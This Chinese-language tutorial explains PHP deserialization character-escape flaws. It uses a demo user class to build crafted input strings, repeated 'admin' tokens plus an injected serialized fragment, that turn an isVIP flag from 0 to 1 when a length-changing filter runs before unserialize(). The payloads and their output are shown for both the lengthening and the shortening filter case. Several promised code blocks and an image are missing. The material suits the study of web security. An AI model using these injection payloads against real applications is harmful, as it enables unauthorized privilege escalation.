#當開發者使用先將物件序列化,然後將物件中的字元進行過濾,最後再進行反序列化。這個時候就有可能會產生PHP反序列化字元逃脫的漏洞。
對於PHP反序列字元逃逸,我們分為以下兩種情況進行討論。
過濾後字元變多
過濾後字元變少
過濾後字元變多
假設我們先定義一個
user類,然後裡面一共有3個成員變數:
username、
password
isVIP。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
可以看到當這個類別被初始化的時候,
isVIP變數預設是0
,並且不受初始化傳入的參數影響。 接下來把完整程式碼貼出來,方便我們分析。這段程式的輸出結果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,物件序列化之後的
isVIP變數是0
。 這個時候我們增加一個函數,用於對admin字元進行替換,將admin替換為hacker,替換函數如下:function filter($s){ return str_replace("admin","hacker",$s); }因此整段程式如下:這段程式的輸出為:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}這時候我們把這兩個程式的輸出拿出來比較一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到
已過濾字串中的hacker與前面的字元長度不對應了
s:5:"admin"; s:5:"hacker";在這個時候,對於我們,在新建物件的時候,傳入的
admin就是我們的可控變數
接下來明確我們的目標:將
isVIP
1首先我們將我們的現有子字串
和目標子字串進行比較:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串也就是說,我們要在admin這個可控變數的位置,注入我們的
目標子字串。
首先計算我們需要注入的目標子字串的長度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
因為我們需要逃逸的字串長度為
47,並且
admin每次過濾之後都會變成
hacker,也就是說每出現一次
admin,就會多1個字元。 因此我們在可控變數處,重複47
遍admin
,然後加上我們逃逸後的目標子字串,可控變數修改如下:adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}完整程式碼如下:程式輸出結果為:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}我們可以數一下hacker的數量,總共是47個hacker,共282個字符,剛好與前面
282
相對應。後面的注入子字串也剛好完成了逃逸。
反序列化後,多餘的子字串會被拋棄
#我們接著將這個序列化結果反序列化,然後將其輸出,完整程式碼如下:程式輸出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到這個時候,
isVIP這個變數就變成了1,反序列化字元逃逸的目的也就達成了。
過濾後字元變少 上面描述了PHP反序列化字元逃逸中字元變多的情況。 以下開始解釋反序列化字元逃逸變少的情況。 首先,和上面的主體程式碼還是一樣,還是同一個class,與之有區別的是過濾函數中,我們將hacker修改為hack。 完整程式碼如下:得到結果:O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}同樣比較一下現有子字串和
目標子字串 :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串因為過濾的時候,將5個字元刪除為了4個,所以和上面字元變多的情況相反,隨著加入的admin的數量增多,
現有子字串後面會縮進來。
計算目標子字串的長度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47再計算一下到
下一個可控變數的字串長度:
";s:8:"password";s:6:" //长度为22因為每次過濾的時候都會少1個字符,因此我們先將admin字符重複
22遍(這裡的22遍不像字元變多的逃逸情況精確,後面可能會需要做調整)
完整程式碼如下:(這裡的變數裡一共有22個admin
)輸出結果:###注意:###PHP反序列化的機制是,例如如果前面是規定了有10個字符,但是只讀到了9個就到了雙引號,這個時候PHP會把雙引號當作第10個字符,也就是說不根據雙引號判斷一個字串是否已經結束,而是根據前面規定的數量來讀取字串。 ###O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
以上是深入了解PHP中反序列化字元逃脫的原理的詳細內容。更多資訊請關注PHP中文網其他相關文章!